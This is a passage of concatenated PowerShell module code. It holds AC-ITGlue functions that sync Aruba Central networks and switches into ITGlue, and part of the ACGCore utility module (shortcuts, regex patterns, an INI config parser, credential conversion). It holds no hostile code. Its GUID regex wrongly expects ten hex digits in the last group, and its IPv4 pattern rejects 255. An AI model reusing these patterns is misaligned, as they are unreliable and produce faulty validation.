"organization_id" = $OrgId
"type" = "flexible-assets"
attributes = @{
"organization-id" = $OrgId
"flexible-asset-type-id" = $WirelessFlexId
traits = @{
"network-name" = $network.essid
"ssid" = $network.essid
"security-type" = $network.security
#"pre-shared-key" = "10101010" # AC Will not return this.
"hidden" = "False"
}
}
}
$Asset = (Get-ITGlueFlexibleAssets -filter_flexible_asset_type_id $WirelessFlexId `
-filter_organization_id $OrgId -filter_name $network.essid).data.attributes
if (!$Asset) {
New-ITGlueFlexibleAssets -data $data | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $network.essid
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $network.essid
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
}
}
end { return $ReturnArray }
}
function Update-ACITGlueNetwork {
<#
.SYNOPSIS
Sync Networks from Aruba Central to ITGlue flexable assets
.DESCRIPTION
This will update an existing ITGlue asset with latest information from Aruba Central.
.EXAMPLE
Update-ACITGlueNetwork -OrgId 1111111
.EXAMPLE
Update-ACITGlueNetwork
#>
Param(
[Parameter(
Mandatory = $false,
HelpMessage = "ITGlue Organization ID."
)]
[String]$OrgId,
[Parameter(Mandatory = $false)]
[string]$IgnoreSite
)
begin {
$WirelessFlexId = 234110
$ACEndpointNetwork = "/monitoring/v2/networks"
$ACEndpointSite = "/central/v2/sites"
$ACSites = (Invoke-ArubaCLRestMethod -uri $ACEndpointSite -limit 100).sites
$ReturnArray = @()
# Hacky way to handle SSIDs at more than one location.
$DenyList = @()
$SiteCount = $ACSites.Count
$i = 0
$j = 0
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($Site in $ACSites) {
Write-Progress -Activity "Processing Site ($($Site.site_name))" -Status "$($i) of $($SiteCount)" -PercentComplete (($i / $SiteCount) * 100) -Id 1
$SiteName = $Site.site_name
$ACNetworks = Invoke-ArubaCLRestMethod -uri ($ACEndpointNetwork + "?site=" + $SiteName)
$NetworkCount = $ACNetworks.Count
foreach ($ACNetwork in $ACNetworks.networks) {
Write-Progress -Activity "Processing Network ($($ACNetwork.essid))" -Status "$($j) of $($NetworkCount)" -PercentComplete (($j / $NetworkCount) * 100) -ParentId 1 -Id 2
$AssetId = (Get-ITGlueFlexibleAssets -filter_flexible_asset_type_id $WirelessFlexId `
-filter_organization_id $OrgId -filter_name $ACNetwork.essid).data.id
$data = @{
"organization_id" = $OrgId
"type" = "flexible-assets"
attributes = @{
"organization-id" = $OrgId
"flexible-asset-type-id" = $WirelessFlexId
traits = @{
"network-name" = $ACNetwork.essid
"ssid" = $ACNetwork.essid
"security-type" = $ACNetwork.security
#"pre-shared-key" = "10101010" # AC Will not return this.
"hidden" = "False"
"physical-location" = (Get-ITGlueLocations -org_id $OrgId -filter_name $SiteName).data.id
}
}
}
if ($DenyList.Contains($ACNetwork.essid)) {
# If network was already processed reset the counter.
Write-Progress -Activity "Processing Network ($($ACNetwork.essid))" -Status "Network $($ACNetwork.essid) already processed. Skipping." -Id 2
$j = 0
continue
}
$Properties = @{
"OrgId" = $OrgId
"Name" = $SiteName
"SSID" = $ACNetwork.essid
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
Set-ITGlueFlexibleAssets -id $AssetId -data $data | Out-Null
$DenyList += $ACNetwork.essid
$j++
}
$i++
}
}
end { return $ReturnArray }
}
|
Switches.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueSwitch {
<#
.SYNOPSIS
Sync Switches from Aruba Central to ITGlue configurations
.DESCRIPTION
Sync Switches from Aruba Central to ITGlue configurations. Function will also create non-existent models in ITGlue.
.EXAMPLE
New-ACITGlueSwitches -OrgId 1111111
.EXAMPLE
New-ACITGlueSwitches
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
$endpoint = "/monitoring/v1/switches"
$Switches = Invoke-ArubaCLRestMethod -uri $endpoint
$ManufacturerId = 1657387
$SwitchConfigId = 501527
$ReturnArray = @()
$SwitchCount = $Switches.Count
$i = 0
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($switch in $switches.switches) {
Write-Progress -Activity "Processing switch ($($switch.name))" -Status "$($i) of $($SwitchCount)" -PercentComplete (($i / $SwitchCount) * 100)
# Find Model in IT Glue
$model = (Get-ITGlueModels).data.attributes | Where-Object { $_.name -eq $switch.model}
# If model doesn't exist create it.
if (!$model) {
$data = @{
type = "models"
attributes = @{
name = $switch.model
"manufacturer-id" = $ManufacturerId
}
}
New-ITGlueModels -data $data | Out-Null
}
# Second API call to get the switch model id now that it is created.
$model_id = ((Get-ITGlueModels).data | Where-Object { $_.attributes.name -eq $switch.model}).id
$ITGlueLocationId = (Get-ITGlueLocations -org_id $OrgId -filter_name $switch.site).data.id
$data = @{
"organization_id" = $OrgId
"type" = "configurations"
attributes = @{
"organization_id" = $OrgId
"location_id" = $ITGlueLocationId
"name" = $switch.name
"mac_address" = $switch.macaddr
"serial_number" = $switch.serial
"primary_ip" = $switch.ip_address
"hostname" = $switch.name
"configuration-type-id" = $SwitchConfigId
"configuration-type-name" = "Switch"
"configuration-type-kind" = "switch"
"configuration-status-id" = 37495
"configuration-status-name" = "Active"
"manufacturer_id" = $ManufacturerId
"model_id" = $model_id
}
}
# Check for existing configuration
$configuration = (Get-ITGlueConfigurations -organization_id $OrgId).data.attributes | Where-Object { $_."serial-number" -eq $switch.serial }
if (!$configuration) {
New-ITGlueConfigurations -data $data | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $switch.name
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $switch.name
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
$i++
}
}
end { return $ReturnArray }
}
function Update-ACITGlueSwitch {
<#
.SYNOPSIS
Update Switches from Aruba Central to ITGlue configurations
.DESCRIPTION
Update Switches from Aruba Central to ITGlue configurations. Function will also create non-existent models in ITGlue.
.EXAMPLE
Update-ACITGlueSwitches -OrgId 1111111
.EXAMPLE
Update-ACITGlueSwitches
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
if ($false -eq $ACITGlueStatus) {
Write-Error -Message "ERROR: ITGlue or Aruba Central are not connected."
New-ACITglueConnection
}
$ACEndpoint = "/monitoring/v1/switches"
$Switches = Invoke-ArubaCLRestMethod -uri $ACEndpoint
$ManufacturerId = 1657387
$SwitchConfigId = 501527
$ReturnArray = @()
$SwitchCount = $switches.Count
$i = 0
if ($null -eq $OrgId -and $null -eq $ACITGlueOrgId) {
$OrgId = Get-ACITGlueOrgId
}
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($Switch in $switches.switches) {
Write-Progress -Activity "Processing switch ($($Switch.name))" -Status "$($i) of $($SwitchCount)" -PercentComplete (($i / $SwitchCount) * 100)
# Find Model in IT Glue
$model = (Get-ITGlueModels).data.attributes | Where-Object { $_.name -eq $Switch.model}
# If model doesn't exist create it.
if (!$model) {
$data = @{
type = "models"
attributes = @{
name = $Switch.model
"manufacturer-id" = $ManufacturerId
}
}
New-ITGlueModels -data $data | Out-Null
}
$model_id = ((Get-ITGlueModels).data | Where-Object { $_.attributes.name -eq $Switch.model}).id
$ITGlueLocationId = (Get-ITGlueLocations -org_id $OrgId -filter_name $Switch.site).data.id
$data = @{
"organization_id" = $OrgId
"type" = "configurations"
attributes = @{
"organization_id" = $OrgId
"location_id" = $ITGlueLocationId
"name" = $Switch.name
"mac_address" = $Switch.macaddr
"serial_number" = $Switch.serial
"primary_ip" = $Switch.ip_address
"hostname" = $Switch.name
"configuration-type-id" = $SwitchConfigId
"configuration-type-name" = "Switch"
"configuration-type-kind" = "switch"
"configuration-status-id" = 37495
"configuration-status-name" = "Active"
"manufacturer_id" = $ManufacturerId
"model_id" = $model_id
}
}
# Check for existing configuration
$ConfigurationData = (Get-ITGlueConfigurations -organization_id $OrgId -page_size 250).data | Where-Object `
{ $_.attributes."configuration-type-name" -eq "Switch" -and $_.attributes."serial-number" -eq $Switch.serial }
if ($ConfigurationData) {
[int]$ConfigurationID = $ConfigurationData.id
Set-ITGlueConfigurations -organization_id $OrgId -data $data -id $ConfigurationID | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $Switch.name
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $Switch.name
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
$i++
}
}
end { return $ReturnArray }
}
|
Global.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueSync {
<#
.SYNOPSIS
Syncs all data from Aruba Central to ITGlue
.DESCRIPTION
Syncs all data from Aruba Central to ITGlue
.EXAMPLE
New-ACITGlueSync -OrgId 111111
.EXAMPLE
New-ACITGlueSync
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
New-ACITGlueSite -OrgId $OrgId
New-ACITGlueNetwork -OrgId $OrgId
New-ACITGlueSwitch -OrgId $OrgId
New-ACITGlueAP -OrgId $OrgId
Update-ACITGlueNetwork -OrgId $OrgId
New-ACITGlueSubscription -OrgId $OrgId
}
end {}
}
|
ACGCore.psm1 | ACGCore-0.23.0 |
# START: source\.bootstrap.ps1
# Setting Random Number Generation:
$osInfo = Get-WmiObject Win32_OperatingSystem
$seed = ($osInfo.FreePhysicalMemory + $osInfo.NumberOfProcesses + [datetime]::Now.Ticks) % [int]::MaxValue
$script:__RNG = New-Object System.Random $seed
Remove-Variable 'seed'
# Initializeing Render-Template variables:
$script:__InterpolationTags = @{
Start = '<<'
End = '>>'
}
$script:__InterpolationTagsHistory = New-Object System.Collections.Stack
# Creating aliases:
New-Alias -Name '~' -Value Unlock-SecureString
# Backwards-compatibility aliases:
New-Alias -Name 'Save-Credential' -Value 'Save-PSCredential'
New-Alias -Name 'Load-Credential' -Value 'Restore-PSCredential'
New-Alias -Name 'Load-PSCredential' -Value 'Restore-PSCredential'
New-Alias -Name 'Parse-ConfigFile' -Value 'Read-ConfigFile'
New-Alias -Name 'Create-Shortcut' -Value 'New-Shortcut'
New-Alias -Name 'Render-Template' -Value 'Format-Template'
New-Alias -Name 'Run-Operation' -Value 'Invoke-ShoutOut'
New-Alias -Name 'Query-RegValue' -Value 'Get-RegValue'
New-Alias -NAme 'Steal-RegKey' -Value 'Set-RegKeyOwner'
# END: source\.bootstrap.ps1
# START: source\New-Shortcut.ps1
# New-Shortcut.ps1
function New-Shortcut(){
param(
[parameter(Mandatory=$true, position=1)][String]$ShortcutPath,
[parameter(Mandatory=$true, position=2)][String]$TargetPath,
[parameter(Mandatory=$false, position=3)][String]$Arguments,
[parameter(Mandatory=$false, position=4)][String]$IconLocation
)
if ($ShortcutPath -match '^(?<directory>([A-Z]:|\.)[\\/]([^\\/]+[\\/])*)(?<filename>.*\.lnk)$'){
$shortcutDir = $Matches.directory
$shortcutFile = $Matches.filename
} else {
return $false
}
$WSShell = New-Object -ComObject WScript.shell
$shortcut = $WSShell.CreateShortcut($ShortcutPath)
$shortcut.TargetPath = $TargetPath
if ($Arguments) { $shortcut.Arguments = $Arguments }
if ($IconLocation) { $shortcut.IconLocation = $IconLocation }
$shortcut.Save()
return $true
}
# END: source\New-Shortcut.ps1
# START: source\RegexPatterns.ps1
$Script:RegexPatterns = @{ }
$Script:RegexPatterns.IPv4AddressByte = "(25[0-4]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])" # A byte in an IPv4 Address
$IPv4AB = $Script:RegexPatterns.IPv4AddressByte
$Script:RegexPatterns.IPv4NetMaskByte = "(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[1-9])" # A non-full byte in a IPv4 Netmask
$IPv4NMB = $Script:RegexPatterns.IPv4NetMaskByte
$ItemChars = "[^\\/:*`"|<>]"
$Script:RegexPatterns.Directory = '(?<directory>(?<root>[A-Z]+:|\.|\\.*)[\\/]({0}+[\\/]?)*)' -f $ItemChars
$Script:RegexPatterns.File = ( '(?<file>(?<directory>((?<root>[A-Z]+:|\.|\\.*)[\\/])?({0}+[\\/])*)(?<filename>([^\\/]+)+(\.(?<extension>[^\\/.]+)?))' + ")" ) -f $ItemChars
$Script:RegexPatterns.IPv4Address = "($IPv4AB\.){3}$($IPv4AB)"
$Script:RegexPatterns.IPv4Netmask = "((255\.){3}$IPv4NMB)|((255\.){2}($IPv4NMB\.)0)|((255\.){1}($IPv4NMB\.)0\.0)|(($IPv4NMB\.)0\.0\.0)|0\.0\.0\.0"
$Script:RegexPatterns.GUID = "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{10}"
<#
.SYNOPSIS
Returns the ACGCore regular expression with the given name.
#>
function Get-ACGCoreRegexPattern {
param([string]$PatternName)
if ($Script:RegexPatterns.ContainsKey($PatternName)) {
return $Script:RegexPatterns[$PatternName]
} else {
throw "Invalid pattern name provided"
}
}
<#
.SYNOPSIS
Rreturns the name of all standard regular expressions used in ACGCore.
#>
function Get-ACGCoreRegexPatternNames {
return $Script:RegexPatterns.Keys
}
<#
.SYNOPSIS
Matches ACGCore regular expressions against a string.
.DESCRIPTION
Tries to match the given string $value against the pattern named $PatternName.
Returns a record of the match if the regex matches the given value (equivalent
to $matches), otherwise returns $false.
By default the this function assumes that the entire string should match the
given pattern. This behavior can be overriden by using the AllowPartialMatches
switch, in which case the function will attempt to match any part of the given
string.
#>
function Test-ACGCoreRegexPattern {
param([string]$Value, [string]$PatternName, [switch]$AllowPartialMatch)
try {
$pattern = Get-ACGCoreRegexPattern $PatternName
if (!$AllowPartialMatch) {
$pattern = "^$pattern$"
}
if ($value -match $pattern) {
return $matches.Clone()
}
return $false
} catch {
return $false
}
}
# END: source\RegexPatterns.ps1
# START: source\Reset-Module.ps1
function Reset-Module {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[ArgumentCompleter({
Get-Module | Foreach-Object Name
})]
[string]$Name
)
if ($module = Get-Module $Name) {
Remove-Module $module -Force
}
Import-Module $Name -Global
}
# END: source\Reset-Module.ps1
# ACGCore.conditions
# START: source\conditions\Test-Condition.ps1
function Test-Condition{
param(
[Parameter(Mandatory=$true, Position=1)][scriptblock]$Test,
[Parameter(Mandatory=$false, Position=2)][scriptblock]$OnPass=$null,
[Parameter(Mandatory=$false, Position=3)][scriptblock]$OnFail=$null,
[Parameter(Mandatory=$false, Position=4)][scriptblock]$Evaluate = { param($v) $true -eq $v }
)
$r = & $Test
$pass = & $Evaluate $r
if ($pass) {
if ($OnPass) { & $OnPass }
} else {
if ($OnFail) { & $OnFail }
}
return $pass
}
# END: source\conditions\Test-Condition.ps1
# START: source\conditions\Wait-Condition.ps1
function Wait-Condition{
param(
[Parameter(Mandatory=$true, Position=1)][scriptblock]$Test,
[Parameter(Mandatory=$false, Position=2)][scriptblock]$OnPass=$null,
[Parameter(Mandatory=$false, Position=3)][scriptblock]$OnFail=$null,
[Parameter(Mandatory=$false, Position=4)][scriptblock]$Evaluate = { param($v) $true -eq $v },
[Parameter(Mandatory=$false, Position=5)][int]$IntervalMS=200,
[Parameter(Mandatory=$false, Position=6)][int]$TimeoutMS=0
)
$__waitStart__ = [datetime]::Now
do {
if ($TimeoutMS -gt 0) {
$t = ([datetime]::Now - $__waitStart__).TotalMilliSeconds
if ($t -gt $TimeOutMS) {
if ($OnFail) { & $OnFail }
return $false
}
}
Start-Sleep -MilliSeconds $IntervalMS
$r = Test-Condition -Test $Test -Evaluate $Evaluate
} while(!$r)
if ($OnPass) { & $OnPass }
return $true
}
# END: source\conditions\Wait-Condition.ps1
# ACGCore.configfiles
# START: source\configfiles\Read-ConfigFile.ps1
<#
.SYNOPSIS
Parsing function used for ACGroup-style .ini configuration files.
.DESCRIPTION
Used to parse ACGroup-style .ini files.
Grammar:
file -> <lines>
lines -> <line> | <line><lines>
line -> <include> | <section header> | <declaration> | <comment> | <empty>
include -> is<comment>
section header -> sh<comment>
declarations -> sd<comment>
comment -> c
empty -> e
Terminals:
is: Include Statement
^#include\s[^\s#]+
sh: Section Header
^\s*\[[^\]]+\]
sd: Setting Declaration
^\s*[^\s=#]+\s*(=\s*([^#]|\\#)+|`"[^`"]*`"|'[^']*')?
c: Comment
(?<![\\])#.*
e: Empty line
\s*
Additional Rules:
- The first declaration of the file must be preceeded by a section header.
- If more than one value is declared for a setting, they will be collected
into an array.
- All values will be read as strings and the application using the
configuration must determine how to interpret the values.
.PARAMETER Path
The path to the configuration file.
.PARAMETER Content
Alternatively content to be parsed can be provided as a string.
.PARAMETER Config
Pre-populated configuration hashtable. If provided, the parser will add new settings to the hashtable.
The default behavior is to generate a new hashtable.
.PARAMETER NoInclude
Causes the parser skip include statements.
.PARAMETER NotStrict
Stops the parser from throwing an exceptions when errors are encountered.
.PARAMETER Silent
Stops the parser from outputting anything to the console.
.PARAMETER MetaData
Hashtable used to record MetaData while parsing.
Presently only records Includes and errors.
.PARAMETER Cache
Hashtable used to cache the results of each file parsed. Useful to minimize
reads from disk when parsing multiple job files using the common includes.
.PARAMETER Loud
Causes the parser to output extra information to the console.
.PARAMETER duplicatesAllowed
Names of settings for which duplicate values are allowed.
By default, if there are two declarations of the same setting with the same value,
the second occurence of the value will be discarded. When a setting name is
specified here, the second occurrence will instead be appended to the list of
values for the setting.
.PARAMETER IncludeRootPath
The root path to use when resolving includes. If this value isn't provided
then it will default to the directory part of $Path.
Include-paths that start with '\' or '/' will use this value when resolving
where to look for the included file.
Paths that do not start with either '\' or '/' will use the directory of the
file currently being processed.
If the command is called using the "String" parameter set, then this value will
default to $pwd (current working directory).
All included files will be parsed using the same IncludeRootPath.
.EXAMPLE
Normal Read:
$conf = Parse-Config "C:\Config.ini"
Accumulating information into a configuration hashtable:
$conf = Parse-Config "C:\Config2.ini" $config
Skipping #include statements:
$conf = Parse-Config "C:\Config.ini" -NoInclude
Stop the parser from throwing an exception on error (use MetaData object to record errors):
$metadata = @{}
$conf = Parse-Config "C:\Config.ini" -NotStrict -MetaData $metadata
# Echo out the errors:
$metadata.Errors | % { Write-Host $_ }
.NOTES
General notes
#>
function Read-ConfigFile {
[CmdletBinding(DefaultParameterSetName="File")]
param (
[parameter(
Mandatory=$true,
Position=1,
ParameterSetName="File",
HelpMessage="Path to the file."
)] [String] $Path, # Name of the job-file to parse (including extension)
[parameter(
Mandatory=$true,
Position=1,
ParameterSetName="String",
HelpMessage="Content to be parsed instead of reading from the file path. If this option is used and the path is not an actual file path, then 'IncludeRootPath' MUST be specified. Path must be specified regardless."
)] [string]$Content,
[parameter(
Mandatory=$false,
Position=2,
HelpMessage="Pre-populated configuration hashtable. If provided, any options read from the given file will be appended."
)] [Hashtable] $Config = @{}, # Pre-existing configuration, if given we'll simply add to this one.
[parameter(
Mandatory=$false,
HelpMessage="Tells the parser to skip include stetements."
)] [Switch] $NoInclude, # Tells the parser to skip any include statements
[Parameter(
Mandatory=$false,
HelpMessage="Tells the parser not to throw an exception on parsing errors."
)] [Switch] $NotStrict, # Tells the parser to not generate any exceptions.
[Parameter(
Mandatory=$false,
HelpMessage="Suppresses all command-line output from the parser."
)] [Switch] $Silent, # Supresses all commandline-output from the parser.
[parameter(
Mandatory=$false,
HelpMessage='Hashtable used to record MetaData. Includes will be recorded in $MetaData.Includes.'
)] [Hashtable] $MetaData, # Hashtable used to capture MetaData while parsing.
# This will record Includes as '$MetaData.includes'.
[Parameter(
Mandatory=$false,
HelpMessage='Hashtable used to cache includes to minimize reads from disk when rapidly parsing multiple files using common includes.'
)][Hashtable] $Cache,
[parameter(
Mandatory=$false,
HelpMessage="Causes the Parser to output extra information to the console."
)] [Switch] $Loud, # Equivalent of $Verbose
[parameter(
Mandatory=$false,
HelpMessage="Array of settings for which values can be duplicated."
)] [array]
$duplicatesAllowed = @("Operation","Pre","Post"), # Declarations for which duplicate values are allowed.
[parameter(
Mandatory=$false,
HelpMessage="The root directory used to resolve includes. Defaults to the directory of the config file."
)] [string]$IncludeRootPath # The root directory used to resolve includes.
)
# Error-handling specified here for reusability.
$handleError = {
param(
[parameter(Mandatory=$true)] [String] $Message
)
if ($MetaData) {
$MetaData.Errors = $Message
}
if ($NotStrict) {
if (!$Silent) { write-host $Message -ForegroundColor Red }
} else {
throw $Message
}
}
$Verbose = if (($Verbose -or $Loud) -and !$Silent) { $true } else { $false }
switch ($PSCmdlet.ParameterSetName) {
"File" {
if( $Path -and (Test-Path -Path $Path -PathType Leaf) ) {
$lines = Get-Content -Path $Path -Encoding UTF8
} else {
. $handleError -Message "<InvalidPath>The given path doesn't lead to an existing file: '$Path'"
return
}
$currentDir = Split-Path -Parent $Path
}
"String" {
$lines = $Content -split "`n"
$currentDir = "$pwd"
}
}
if (!$PSBoundParameters.ContainsKey("IncludeRootPath")) {
$IncludeRootPath = $currentDir
}
$conf = @{}
if ($Config) { # Protect against NULL-values.
$conf = $Config
}
if ($MetaData) {
if (!$MetaData.Includes) { $MetaData.Includes = @() }
if (!$MetaData.Errors) { $MetaData.Errors = @() }
}
$regex = @{ }
$regex.Comment = "(?<![\\])#(?<comment>.*)"
$regex.Include = "^#include\s+(?<include>[^\s#]+)\s*($($regex.Comment))?$"
$regex.Heading = "^\s*\[(?<heading>[^\]]+)\]\s*($($regex.Comment))?$"
$regex.Setting = "^\s*(?<name>[^\s=#]+)\s*(=\s*(?<value>([^#]|\\#)+|`"[^`"]*`"|'[^']*'))?\s*($($regex.Comment))?$"
$regex.Entry = "^\s*(?<entry>.+)\s*"
$regex.Empty = "^\s*($($regex.Comment))?$"
$linenum = 0
$CurrentSection = $null
foreach($line in $lines) {
$linenum++
switch -Regex ($line) {
$regex.Include {
if ($Verbose) {
write-host -ForegroundColor Green "Include: '$line'";
Write-Host "------[Start:$($Matches.include)]".PadRight(80, "-")
}
if ($NoInclude) { continue }
if ($MetaData) { $MetaData.includes += $Matches.include }
$includePath = $Matches.include
$parseArgs = @{
Config=$conf;
MetaData=$MetaData;
Cache=$Cache
IncludeRootPath=$IncludeRootPath;
}
if ($includePath -match "^[/\\]") {
$parseArgs.Path = "$IncludeRootPath${includePath}.ini" # Absolute path.
} else {
$parseArgs.Path = "$currentDir\${includePath}.ini"; # Relative path.
}
if ($PSBoundParameters.ContainsKey("Verbose")) { $parseArgs.Verbose = $Verbose }
if ($PSBoundParameters.ContainsKey("NotStrict")) { $parseArgs.NotStrict = $NotStrict }
if ($PSBoundParameters.ContainsKey("Silent")) { $parseArgs.Silent = $Silent }
try {
if ($Cache) {
$parseArgs.Remove("Config")
if ($Cache.ContainsKey($parseArgs.Path)) {
if ($Loud) { Write-Host "Found include file in the cache!" -ForegroundColor Green }
$ic = $Cache[$parseArgs.Path]
} else {
if ($Loud) { Write-Host "include file not found in the cache, parsing file..." -ForegroundColor Yellow }
$ic = Parse-ConfigFile @parseArgs
$Cache[$parseArgs.Path] = $ic
}
$conf = Merge-Configs $conf $ic -duplicatesAllowed $duplicatesAllowed
} else {
Parse-ConfigFile @parseArgs | Out-Null
}
} catch {
if ($_.Exception -like "<InvalidPath>*") {
. $handleError -Message $_
} else {
. $handleError "An unknown exception occurred while parsing the include file at '$($parseArgs.Path)' (in root file '$Path'): $_"
}
}
if ($Verbose) {
Write-Host "------[End:$includePath]".PadRight(80, "-")
}
break;
}
$regex.Heading {
if ($Verbose) { write-host -ForegroundColor Green "Heading: '$line'"; }
$CurrentSection = $Matches.Heading
if (!$conf[$Matches.Heading]) {
$conf[$Matches.Heading] = @{ }
}
break;
}
$regex.Setting {
if (!$CurrentSection) {
. $handleError -Message "<OrphanSetting>Ecountered a setting before any headings were declared (line $linenum in '$Path'): '$line'"
}
if ($Verbose) { Write-Host -ForegroundColor Green "Setting: '$line'"; }
$value = $Matches.Value -replace "\\#","#" # Strip escape character from literal '#'s
if ($conf[$CurrentSection][$Matches.Name]) {
if ($conf[$CurrentSection][$Matches.Name] -is [Array]) {
if ( ($Matches.Name -in $duplicatesAllowed) -or (-not $conf[$CurrentSection][$Matches.Name].Contains($value)) ) {
$conf[$CurrentSection][$Matches.Name] += $value
}
} else {
$conf[$CurrentSection][$Matches.Name] = @( $conf[$CurrentSection][$Matches.Name], $value )
}
} else {
$v = if ($null -eq $value) { "" } else { $value } # Convertion to match the behaviour of Read-Conf
$conf[$CurrentSection][$Matches.Name] = $v
}
break;
}
$regex.Empty {
if ($Verbose) { Write-Host -ForegroundColor Green "Empty: '$line'"; }
break;
}
default {
. $handleError "<MalformedLine>Found an unrecognizable line (line $linenum in $path): $line"
break;
}
}
}
if ($Cache) {
$Cache[$Path] = $conf
}
return $conf
}
function Merge-Configs {
param(
[Parameter(Mandatory=$true, HelpMessage="Configuration 1, values from this object will appear first in the cases where values overlap.")]
[ValidateNotNull()][hashtable]$C1,
[Parameter(Mandatory=$true, HelpMessage="Configuration 2, values from this object will appear last in the cases where values overlap.")]
[ValidateNotNull()][hashtable]$C2,
[parameter(Mandatory=$false, HelpMessage="Array of settings for which values can be duplicated.")]
[array] $duplicatesAllowed = @("Operation","Pre","Post")
)
$combineValues = {
param($n, $v1, $v2)
$da = $n -in $duplicatesAllowed
if ($v1 -is [array]) {
if ($v2 -isnot [array]) {
if (!$da -and ($v2 -in $v1)) {
return $v1
}
return $v1 + $v2
} else {
$v = $v1
$v2 | Where-Object {
$da -or $_ -notin $v
} | ForEach-Object {
$v += $_
}
return $v
}
} else {
if ($v2 -isnot [Array] ) {
if (!$da -and $v1 -eq $v2) {
return $v1
}
return @($v1, $v2)
} else {
$v = @($v1)
$v2 | Where-Object {
$da -or $_ -notin $v
} | ForEach-Object { $v += $_ }
return $v
}
}
}
$NC = @{}
$C1.Keys | Where-Object {
$_ -and ($C1[$_] -is [hashtable])
} | ForEach-Object {
$s = $_
$NC[$s] = @{}
$C1[$s].GetEnumerator() | ForEach-Object {
$NC[$s][$_.Name] = $C1[$s][$_.Name]
}
}
$C2.Keys | Where-Object {
$_ -ne $null -and ($C2[$_] -is [hashtable])
} | ForEach-Object {
$s = $_
if (!$NC.ContainsKey($s)) {
$NC[$s] = @{}
}
$C2[$s].GetEnumerator() | ForEach-Object {
$n = $_.Name
$v = $_.Value
if (!$NC[$s].ContainsKey($n)) {
$NC[$s][$n] = $v
return
}
$NC[$s][$n] = . $combineValues $n $NC[$s][$n] $v
}
}
return $NC
}
# END: source\configfiles\Read-ConfigFile.ps1
# START: source\configfiles\Write-ConfigFile.ps1
function Write-ConfigFile {
param(
[hashtable]$Config,
[string]$Path
)
[string[]]$output = @()
$keys = $Config.keys
$keys = $Keys | Sort-Object
foreach ($key in $keys) {
$output += "[$key]"
foreach ($item in $config[$key].keys) {
foreach ($value in $config[$key][$item]) {
if ($null, "" -contains $value) {
# Entry, just append it to the output
$output += $item
continue
}
# Setting, Append <item>=<value> to output for each value.
if ($value -is [string]) {
$value = $value.Replace("#", "\#").trimend()
}
$output += "{0}={1}" -f $item, $value
}
}
$output += "" # Empty line between each section to make output more readable.
}
if ($PSBoundParameters.ContainsKey('Path')) {
if (!(test-path $Path)) {
new-item -itemtype file -force -Path $Path | out-null
}
Set-Content -Path $Path -Value $output -Encoding [System.Text.Encoding]::UTF8
}
else {
$output
}
}
# END: source\configfiles\Write-ConfigFile.ps1
# ACGCore.credentials
# START: source\credentials\ConvertFrom-PSCredential.ps1
<#
.SYNOPSIS
Converts a PSCredential object into a portable string representation.
.DESCRIPTION
Converts a PSCredential object into a portable string represenation.
If the $UseKey switch is specified, the function returns a hashtable with the
following keys:
- Key: The key used to encrypt the credential.
- Credential: The encrypted string representation of the credential.
Otherwise the encrypted string representation is returned.
.PARAMETER Credential
PSCredential Object to convert.
.PARAMETER UseKey
Switch to indicate that the credential is to be encrypted using a key.
.PARAMETER Key
A base64-encoded key of 256 bits that should be used when encrypting the credential (DPAPI).
.PARAMETER Thumbprint
Thumbprint of a certificate in the certificate store of the local machine.
This will cause the the password to be encrypted using the certificates public key.
The Cmdlet will look in the entire store for a certificate with the given thumbprint.
If more than 1 certificate is found with the thumbprint, the Cmdlet will verify that they
are in fact duplicate copies of the same certificate by check that they have the same Issuer
and Serial Number.
If more than 1 certificate are found to have the same thumbprint this Cmdlet will throw
an exception.
WARNING: You will need to use the private key associated with the certificate to
decrypt the credential. This Cmdlet does not check if the private key is available.
#>
function ConvertFrom-PSCredential {
[CmdletBinding(DefaultParameterSetName="dpapi")]
param(
[Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, HelpMessage="Credential to convert.")]
[PSCredential] $Credential,
[Parameter(Mandatory=$true, ParameterSetName='dpapi.key', HelpMessage='Signals that the credential should be protected using a DPAPI key.')]
[switch] $UseKey,
[Parameter(Mandatory=$false, ParameterSetName='dpapi.key', HelpMessage='A base64 encoded key to use when encrypting the credentials. If this parameter is not specified when the $UseKey switch is set, a random 256 bit key will be generated.')]
[string] $Key,
[Parameter(Mandatory=$true, ParameterSetName='x509.managed', HelpMessage='Thumbprint of the certificate that should be used to encrypt the credential. Warning: you will need the corresponding private key to decrypt the credential.')]
[string] $Thumbprint,
[Parameter(Mandatory=$true, ParameterSetName='plain', HelpMessage='Disable encryption, causing the plain text be base64 encoded.')]
[switch] $NoEncryption,
[Parameter(Mandatory=$true, ParameterSetName='plain', HelpMessage='Are you completely sure you do not want to use encryption?.')]
